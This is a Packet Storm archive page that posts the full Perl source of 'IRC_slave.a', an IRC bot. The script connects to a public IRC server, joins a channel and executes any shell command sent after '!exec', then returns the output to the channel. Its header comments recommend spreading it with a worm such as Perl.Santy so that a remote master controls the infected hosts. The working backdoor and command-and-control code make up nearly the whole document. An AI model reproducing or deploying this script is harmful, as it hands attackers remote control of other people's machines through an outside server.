the internet's safety

IRC_slave.a.txt

IRC_slave.a.txt
Posted Mar 21, 2006
Authored by saic | Site saic.sapht.com

IRC_slave.a is a perl script designed to listen on a specified IRC channel and execute commands on the host running the script.

tags | perl
MD5 | 0d52b703511a82455067f0f1a77c10fe

IRC_slave.a.txt

Change Mirror Download
#!/usr/bin/perl
# IRC_slave.a coded by saic
#
# IRC_slave can be a very powerful script if it's combined with a
# worm such as Perl.Santy giving the master an enviornment to work
# with. This code allows you, as the user, to execute commands on
# the host running the script. The only commands added in the public
# release are !disconnect (which disconnects the slave - duh) and !exec
# (which executes commands on the host running on the script).
#
# The public release of IRC_slave.a is FULLY under the GNU GPL. It wasn't
# an accident that license.txt was added to the same directory. If you
# want to link, publish or even modify this coding at least ADMIT that
# you did not write it. Lovemail can be sent to introop at gmail dot com.

use IO::Socket;

#######################
# CONNECTION SETTINGS #
#######################

$nickname = 'Shell';
$channel = 'channel';
$server = 'irc.quakenet.org';
$port = '6667';

######################
# RANDOMIZE NICKNAME #
######################

$lower = 0;
$upper = 9999;
$random = int(rand( $upper-$lower+1 ) ) + $lower;

my $IRC_nickname = "$nickname$random";

##############
# CONNECTION #
##############

$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp' ) or die "could not make the connection";

while ($line = <$sock>) {
print $line;
if ($line =~ /(NOTICE AUTH).*(checking ident)/i) {
print $sock "NICK $IRC_nickname$random\nUSER $IRC_nickname 0 0 :$IRC_nickname\n";
last;
}
}

while($line = <$sock>){
print $line;
if($line =~ /^PING/){
print $sock "PONG :" . (split(/ :/, $line))[1];
}
if($line =~ /(376|422)/i){
print $sock "NICKSERV :identify nick_password\n";
last;
}
}

sleep 3;
print $sock "JOIN #$channel\n";

while ($line = <$sock>) {
($command, $text) = split(/ :/, $line);
if ($command eq 'PING') {
while ( (index($text,"\r") >= 0) || (index($text,"\n") >= 0) ) {
chop($text);
}
print $sock "PONG $text\n";
next;
}
($nick,$type,$channel) = split(/ /, $line);
($nick,$hostname) = split(/!/, $nick);
$nick =~ s/://;
$text =~ s/://;
$/ = "\r\n";
while ($text =~ m#$/$#) {
chomp($text);
}

#####################
# DISCONNECTING BOT #
#####################
# Usage: !disconnect bot_nickname

if ($text =~ /!disconnect $IRC_nickname/gi) {
print $sock "QUIT\n";
}

#####################
# COMMAND EXECUTION #
#####################
# Usage: !exec command
# This will kill the bot if the output is large, but I'm not fixing
# it in the public release.

if ($text =~ /!exec/gi) {
$text =~ s/!exec//g;
my $exec_output;
$exec_output = readpipe "$text";
print $sock "PRIVMSG $channel :$exec_output\r\n";
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close